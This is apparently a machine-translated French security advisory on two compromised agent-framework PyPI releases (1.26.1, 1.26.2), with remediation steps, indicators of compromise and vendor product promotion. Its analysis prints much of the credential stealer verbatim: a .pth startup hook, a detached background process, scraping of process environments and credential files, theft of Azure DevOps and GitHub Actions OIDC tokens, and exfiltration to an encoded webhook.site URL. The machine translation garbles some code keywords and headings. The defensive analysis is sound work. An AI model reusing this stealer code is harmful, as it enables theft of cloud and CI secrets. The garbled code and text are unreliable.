TL;DR :
framework d'agents Les versions 1.26.1 et 1.26.2, deux versions malveillantes du méta-paquet PyPI de Microsoft Agent Framework publiées à 33 minutes d'intervalle le 17 novembre 2026, exécutent un programme de vol d'identifiants à chaque démarrage de Python, ciblant les secrets d'Azure, d'Azure DevOps et de GitHub Actions. Ces deux versions ont été supprimées de PyPI. Épingler agent-framework==1.26.0 et actualiser chaque clé secrète sur toutes les machines sur lesquelles l'une ou l'autre de ces versions a été installée.
Qui est concerné ?
Vous êtes concerné si vous avez installé framework d'agents 1.26.1 ou 1.26.2 entre 20 h 35 UTC et environ 21 h 20 UTC le 17 novembre 2026, que ce soit directement ou par le biais d'une exigence peu contraignante telle que agent-framework>=1.26. Le logiciel enregistre environ 190 000 téléchargements par mois ; ainsi, même une fenêtre de 45 minutes finit par représenter un volume important.
C'est au niveau de CI que le problème est le plus grave. Une compilation de pipeline ou de conteneur qui a détecté une nouvelle installation pendant cette période a exécuté le programme malveillant avec toutes les ressources auxquelles la tâche avait accès. Sur Azure DevOps, cela signifie que SYSTEM_ACCESSTOKEN et les connexions de service du pipeline. Sur GitHub Actions, la version 1.26.2 récupère le jeton OIDC dans tout workflow comportant id-token: write peuvent en faire la demande. Les ordinateurs portables des développeurs et les machines virtuelles Azure associées à une identité gérée sont également exposés.
Détection à l'aide de la solution de sécurité « Aikido »
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Comment y remédier
- Renseignez-vous auprès de
pip show agent-framework, et cherchezagent_framework_meta.pthouaf_runtime_diag.pthdans votrepaquets du siteles répertoires, y compris les caches d'intégration continue et les images de conteneurs créées depuis le 17 novembre. - Épingler
agent-framework==1.26.0et remettre en état les environnements touchés. - Considérez tout secret accessible par la machine comme ayant été volé. Cela inclut les jetons d'accès personnels et les connexions de service Azure DevOps, les identifiants des entités de service Azure, les jetons GitHub, npm, PyPI et Hugging Face, les identifiants du registre Docker, ainsi que tout ce qui se trouve dans
.envfichiers. - Vérifiez les journaux de connexion Entra ID pour les entités de service et les identifiants fédérés utilisés par vos pipelines et vos workflows.
- Recherchez dans les journaux de votre proxy et de votre DNS les connexions vers
webhook[.]site.
La suppression du paquet empêche toute nouvelle exécution, mais n'annule pas les données déjà envoyées.
Aperçu
Le 17 novembre 2026, Microsoft’s framework d'agents Un paquet disponible sur PyPI a été compromis. À 20 h 35 UTC, la version 1.26.1 a été publiée ; elle contenait un programme de vol d’identifiants qui s’exécute à chaque démarrage de Python, que le paquet soit importé ou non, et envoie les identifiants d’ cloud , ainsi que les secrets de CI, vers une URL de webhook.site. framework d'agents est le méta-paquet pour Microsoft Agent Framework, le SDK Python de Microsoft destiné à la création d'agents d'IA ; par conséquent, les machines les plus susceptibles de l'installer sont celles qui contiennent des identifiants Azure valant la peine d'être volés.
Nous avons démonté le « wheel » alors qu’il était encore actif. Puis l’attaquant a récidivé. Trente-trois minutes après le premier téléchargement, la version 1.26.2 était disponible sur PyPI et la version 1.26.1 avait disparu, remplacée par le même programme de vol de données sous un nouveau nom de fichier, avec une nouvelle cible dans GitHub Actions. À 21 h 20 UTC, les deux versions avaient été supprimées et la version 1.26.0 était à nouveau la dernière version disponible.
La version 1.26.1 semble être une mise à jour de routine
L'attaquant a limité la portée de la première modification. La version 1.26.1 comporte le même fichier README et le même agent-framework-core[all]==1.26.0 La version 1.26.0, publiée cinq jours plus tôt, serait donc considérée comme une mise à jour mineure par un bot de gestion des dépendances PR , ce qui passerait pour un événement courant. La comparaison des deux versions met en évidence deux nouveaux fichiers et un fichier modifié.
agent_framework_meta.pth: absent de la version 1.26.0, ajouté dans la version 1.26.1agent_framework_meta/_telemetry.py: absent de la version 1.26.0, ajouté dans la version 1.26.1agent_framework_meta/__init__.py: 853 octets dans la version 1.26.0, 994 octets dans la version 1.26.1 avec l'ajout du chargeur
L'emballage en dit long lui aussi. Le pipeline de publication de Microsoft présente ce package sous la forme d'un fichier « wheel » et d'une distribution source (sdist), et les deux fichiers de la version 1.26.0 ont été mis en ligne à 40 secondes d'intervalle. La version 1.26.1 ne comporte qu'un fichier « wheel ». À l'intérieur, le ROUE Le fichier conserve l'ancien horodatage de remplacement provenant de la version d'origine, tandis que MÉTADONNÉES, RECORD, et les fichiers modifiés et ajoutés portent tous la date du 17 novembre. Les deux fichiers insérés sont également accessibles en écriture par tous les utilisateurs (rw-rw-rw-), contrairement à tout le reste du paquet. Cela correspond au profil d'une personne qui aurait décompressé une roue légitime, l'aurait modifiée manuellement, puis aurait mis en ligne le fichier recompressé à l'aide d'identifiants de publication valides. On ignore encore comment cette personne s'est procuré ces identifiants.
Comment le voleur parvient à s'enfuir
Le hook .pth
Au démarrage de Python, son module de site lit chaque .pth fichier dans paquets du site. Ces fichiers servent à ajouter des répertoires au chemin d'importation, mais toute ligne commençant par importation est exécuté. Les « wheels » n'exécutent jamais de code lors de l'installation ; par conséquent, pour un « wheel », un .pth fichier est ce qui se rapproche le plus d'un npm post-installation hook, et d'une certaine manière, c'est pire. Il se déclenche à chaque lancement de l'interpréteur dans cet environnement, ce qui signifie que votre code n'a jamais besoin d'importer agent_framework pas du tout. Courir pytest ou pip Cela suffit en soi.
Le fichier de la version 1.26.1 ne contient qu'une seule ligne :
import agent_framework_metaCette importation se résout en agent_framework_meta/__init__.py, où l'attaquant a ajouté un chargeur à la fin de la recherche de la version légitime et l'a encapsulé de manière à ce qu'il ne puisse jamais déclencher d'exception :
# Hook de diagnostic d'exécution léger.
try:
from . import _télémétrie as _telemetry
_telemetry._start()
sauf Exception :
passLancement d'un processus en arrière-plan
_start() garantit que la charge utile s'exécute une seule fois par arborescence de processus et ne ralentit jamais le processus Python qui l'a déclenchée :
def _start():
si os.environ.get("_AF_TEL") :
return
os.environ["_AF_TEL"] = "1"
essayer:
si hasattr(os, "fork") :
pid = os.fork()
si pid == 0:
try:
os.setsid()
sauf Exception :
pass
_run()
os._exit(0)
return
except Exception :
pass
try:
import threading
t = threading.Thread(target=_run)
t.daemon = True
t.start()
except Exception :
passLes processus fils héritent de la _AF_TEL_ variable d'environnement, qui empêche chaque sous-processus lancé par Python de relancer le programme de vol de données. Sous Linux et macOS, il crée un processus fils et appelle setsid(), de sorte que le processus fils se détache dans sa propre session et continue à fonctionner une fois que votre commande a terminé. Sous Windows, où il n'y a pas de fourchette, il revient alors à un thread démon.
Ce que le voleur récupère
Les variables d'environnement, y compris celles d'autres processus’
Le programme malveillant copie toute variable d'environnement dont le nom contient l'une des nombreuses sous-chaînes figurant dans une longue liste, parmi lesquelles TOKEN, SECRET, CLÉ, AZURE, AWS, GITHUB, HF_, OPENAI, FONDERIE, SYSTÈME, BUILD, PIP, NPM, et NUGET. On peut ensuite lire : /proc/<pid>/environ pour un maximum de 300 processus en cours d'exécution :
pour e dans glob.glob("/proc/[0-9]*/environ")[:300]:
try:
raw = open(e, "rb").read().decode("utf-8", "replace")
hits = []
for kv in raw.split("\x00") :
si any(x in kv.upper() pour x dans (« TOKEN »,« SECRET »,« MOT DE PASSE »,« KEY= »,« ENDPOINT_AUTH »,« SYSTEM_ACCESSTOKEN »,« IDENTITY_HEADER »)):
hits.append(kv[:2000])Sur un runner CI, cela permet d'accéder aux secrets détenus par le processus de l'agent de compilation lui-même, au-delà de ceux qui ont été transmis à l'étape Python.
Fichiers d'informations d'identification sur le disque
Il regroupe une liste d'emplacements courants où se trouvent les identifiants et lit jusqu'à 60 fichiers correspondants ne dépassant pas 256 Ko chacun, notamment :
- État de l'interface CLI Azure dans
~/.azure/*.json pip.conf,.npmrc,.netrc, et.git-credentials- Docker's
config.json - Jetons Hugging Face
- Agent Azure DevOps
.identifiantsfichiers sous_travailrépertoires etvss-agentinstallations .envet les fichiers JSON dans/appet/espace de travail, les répertoires racines habituels des applications en conteneurs
Jeton de pipeline Azure DevOps
Si la charge utile se trouve dans un pipeline Azure DevOps, elle tente de générer un jeton OpenID Connect (OIDC) :
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
try:
req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]Les pipelines déployés sur Azure via la fédération d’identités de charge de travail ne stockent pas de secret client. Le pipeline demande un jeton OIDC à durée de vie limitée à Azure DevOps et l’échange contre un identifiant d’ Microsoft Entra , afin d’obtenir un jeton d’accès Azure en tant qu’entité de service de la connexion de service. Un jeton OIDC volé permet à un attaquant d’effectuer ce même échange et d’agir avec tous les droits dont dispose la connexion de service. La requête en question ne transmet pas de serviceConnectionId, cette étape peut donc échouer selon la configuration du pipeline. SYSTEM_ACCESSTOKEN est déjà géré par la variable d'environnement « sweep » et permet à lui seul d'accéder aux dépôts, aux artefacts et aux pipelines de l'organisation.
Jetons d'identité gérés
Ensuite, il demande au point de terminaison d'identité local des jetons d'accès à 12 ressources Azure, parmi lesquelles Azure Resource Manager, Microsoft Graph, Key Vault, Storage, Cognitive Services, Azure Machine Learning, Azure AI Foundry, Container Registry et Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798). Sur App Service et Functions, il utilise IDENTITY_ENDPOINT avec l' IDENTITY_HEADER secret. Partout ailleurs, le système se rabat sur le service IMDS (Azure Instance Metadata Service) à l'adresse 169.254.169.254, qui attribue des jetons à tout processus exécuté sur une machine virtuelle à laquelle est associée une identité gérée. Il récupère également les métadonnées de l'instance de la machine virtuelle.
Le renvoyer chez lui
Tout est envoyé en une seule requête POST. La destination est encodée en base64 dans la source afin d'empêcher toute recherche aléatoire avec grep :
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# se décode en https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bbdef _post(tag, data):
try:
import urllib.request
u = base64.b64decode(_ENC).decode()
body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
urllib.request.urlopen(req, timeout=25).read()
except Exception:
passLes données sont sérialisées au format JSON, compressées avec zlib et encodées en base64, puis envoyées avec un Agent utilisateur de af-runtime-diagnostics/1 pour maintenir le couvert de la télémétrie. Webhook.site est un service gratuit d'inspection des requêtes ; l'attaquant n'a donc pas eu besoin de disposer de sa propre infrastructure. Il a pu consulter les données volées directement depuis la page du jeton.
Trente-trois minutes plus tard, 1 h 26 min 2 s
À 21 h 08 UTC, la version 1.26.2 a été publiée, là encore sous forme de « wheel » sans « sdist », et la version 1.26.1 a été retirée de PyPI à peu près au même moment. La nouvelle version donne l'impression qu'un pirate s'attendait à ce que quiconque compare les différences agent_framework_meta pour repérer le premier. __init__.py revient au fichier « clean » identique au niveau des octets de la version 1.26.0, et la charge utile a été déplacée du répertoire du paquet vers un module de niveau supérieur avec un .pth fichier dont le nom correspond.
- Hook de démarrage :
agent_framework_meta.pthdans la version 1.26.1,af_runtime_diag.pthdans la version 1.26.2 - Charge utile :
agent_framework_meta/_telemetry.pydans la version 1.26.1,af_runtime_diag.pydans la version 1.26.2 - Chargeur : ajouté à
agent_framework_meta/__init__.pydans la version 1.26.1,_start()appelé au bas deaf_runtime_diag.pydans la version 1.26.2 - User-Agent :
af-runtime-diagnostics/1dans la version 1.26.1,diagnostics-d'exécution/1dans la version 1.26.2 - Limite du fichier d'identifiants : 60 dans la version 1.26.1, 80 dans la version 1.26.2
- Vol d'OIDC dans GitHub Actions : non dans la version 1.26.1, oui dans la version 1.26.2
Le code de collecte et d'exfiltration est par ailleurs identique, jusque dans les moindres détails, jusqu'au _ENC la chaîne de caractères et le jeton webhook.site. La véritable nouveauté est un bloc destiné à GitHub Actions :
# GitHub Actions OIDC (Azure federated credential)
try:
u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
try:
sep = "&" if "?" in u else "?"
uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]Lorsqu'un workflow GitHub Actions se voit accorder id-token: write, le coureur expose ACTIONS_ID_TOKEN_REQUEST_URL et ACTIONS_ID_TOKEN_REQUEST_TOKEN afin que le workflow puisse demander un jeton OIDC. Les workflows qui se connectent à Azure à l’aide d’un jeton d’échange d’identifiants fédérés avec Entra ID, soit la même technique que celle exploitée par le code Azure DevOps. Une fois en possession du jeton, un attaquant peut effectuer lui-même l’échange et se faire passer pour l’identité Azure du workflow. La version 1.26.2 a également élargi le champ d’application en ajoutant ACTIONS, OIDC, COUREUR, et ARM_ à la variable d'environnement « filter » et en ajoutant le runner hébergé sur GitHub _temp répertoire et le dossier Azure CLI à la liste des fichiers.
À qui s'adresse ce document ?
La première version concernait Azure DevOps et les charges de travail hébergées sur Azure. Une demi-heure plus tard, la deuxième version a ajouté les workflows GitHub Actions qui effectuent des déploiements vers Azure. Ces deux listes correspondent aux environnements dans lesquels les utilisateurs d’Agent Framework exécutent leur code, et la liste des ressources couvre les services d’IA de Microsoft sur lesquels ils s’appuient, tels qu’Azure AI Foundry et Azure Machine Learning. Une version corrective dont les dépendances restent inchangées est également l’une des mises à jour les moins susceptibles d’éveiller les soupçons. Tout projet présentant une exigence vague telle que agent-framework>=1.26 Il le reconnaîtra lors de la prochaine installation, et Dependabot ou Renovate ouvriront sans problème le fichier PR.
Le .pth Cette astuce n'est pas nouvelle. L'attaque LiteLLM de mars 2026 utilisait le même point d'entrée au démarrage pour exécuter sa charge utile à chaque lancement de Python, et les SDK d'IA restent des cibles de choix car les machines sur lesquelles ils sont installés contiennent des identifiants d'cloud s et de fournisseurs de modèles. Python ne dispose toujours pas d'option permettant de désactiver .pth l'exécution est désactivée, de sorte que le hook continue de se déclencher longtemps après que tout le monde a cessé de consulter le journal d'installation.
Il convient également de noter la rapidité avec laquelle une nouvelle version est publiée. Un pirate disposant toujours d'un accès en écriture peut remplacer une version malveillante par une autre plus rapidement que la plupart des équipes ne peuvent bloquer la première ; ainsi, un correctif basé sur un seul nom de fichier ou une seule valeur de hachage est déjà obsolète.
Indicateurs de compromission
Indicateurs réseau
- Point de terminaison d'exfiltration :
https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry - User-Agent (1.26.1) :
af-runtime-diagnostics/1 - User-Agent (1.26.2) :
diagnostics-d'exécution/1
Indicateurs de l'hôte
agent_framework_meta.pthouaf_runtime_diag.pthdanspaquets du siteaf_runtime_diag.pyau niveau supérieur depaquets du site- Variable d'environnement
_AF_TEL=1définir dans les processus Python
Paquets affectés
- agent-framework@1.26.1
- agent-framework@1.26.2
Hachages de fichiers (SHA256), 1.26.1
agent_framework-1.26.1-py3-none-any.whl:d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110agent_framework_meta/_telemetry.py:39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663agent_framework_meta/__init__.py:c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02agent_framework_meta.pth:21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e
Hachages de fichiers (SHA256), 1.26.2
agent_framework-1.26.2-py3-none-any.whl:3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9af_runtime_diag.py:54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1faf_runtime_diag.pth:325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93



